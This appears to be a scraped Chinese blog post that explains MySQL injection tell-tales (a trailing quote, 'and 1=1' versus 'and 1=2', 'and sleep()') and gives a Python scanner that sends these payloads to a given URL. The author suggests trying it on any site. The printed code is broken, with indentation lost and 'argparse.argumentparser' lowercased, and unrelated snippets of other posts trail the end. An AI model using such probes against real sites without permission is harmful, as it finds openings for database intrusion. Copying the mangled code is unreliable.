Python 編寫乙個mysql注入漏洞檢測工具

2022-07-06 15:48:12 字數 1960 閱讀 4009

注入點後加上乙個單引號會報錯

and 1=1返回正常頁面,and 1=2返回的頁面不同於正常頁面

and sleep(3) 網頁會等待3秒左右

根據返回的頁面情況我們就能知道是否存在注入漏洞

要獲取頁面返回的結果是不是一樣的,我們可以通過獲取請求頭中的content-length的長度來判斷

知道這些後,我們就能來寫個簡單的python指令碼

# -*- coding:utf-8 -*-

__author__ = "mut6 sch01ar"

import requests

import argparse

import time

def argparse_option():

parser = argparse.argumentparser(description='the help of mysql_inject.py')

parser.add_argument('-u','--url',help='the url to check')

args = parser.parse_args()

return args

def way_1(url):

payload = [' and 1=1',' and 1=2']

url_1 = url+payload[0]

url_2 = url+payload[1]

r = requests.get(url=url)

r_1 = requests.get(url=url_1)

r_2 = requests.get(url=url_2)

h = r.headers.get('content-length')

h_1 = r_1.headers.get('content-length')

h_2 = r_2.headers.get('content-length')

if h ==h_1 and h !=h_2:

print("[*] %s can be injected" %url)

else:

way_2(url)

def way_2(url):

payload = ' and sleep(5)'

t1 = time.time()

requests.get(url=url+payload)

t2 = time.time()

if t2-t1 >5:

print("[*] %s can be injected" %url)

else:

way_3(url)

def way_3(url):

payload = "'"

url_1 = url+payload

r = requests.get(url=url)

r_1 = requests.get(url=url_1)

h = r.headers.get('content-length')

h_1 = r_1.headers.get('content-length')

if h != h_1:

print("[*] %s can be injected" % url)

else:

print("[!] %s can't be injected" %url)

if __name__ == '__main__':

cmd_args = argparse_option()

url = cmd_args.url

if url:

way_1(url)

else:

print("usage:python3 main.py -u [url]")

找個站測試一下

這個指令碼還只能檢測一些簡單的鏈結,多引數的還檢測不了

python編寫乙個使用者登入程式

print 新建使用者 n n print 登入賬號 e e print 退出程式 q q contact dict while 1 a input 請輸入指令 if a n or a n name input 請輸入使用者名稱 if name in contact name input 此使用者已...

用python編寫乙個小遊戲

1.隨機生成兩個數字 1 1000 在控制台中隨機獲取兩個數字相加 如果使用者輸入正確得10分,否則扣10分。總共5道題,最後輸出得分 import random grade 0for i in range 5 num1 random.randint 1,100 num2 random.randin...

編寫乙個makefile

什麼是makefile?對於大多數的windows程式設計師來講,makefile可能不是那麼重要,因為windows的ide都為程式設計師做好了這個工作。但是在linux下程式設計,會不會寫makefile,從側面上說明乙個人是否具備完成大型工程的能力。makefile的作用 makefile是用...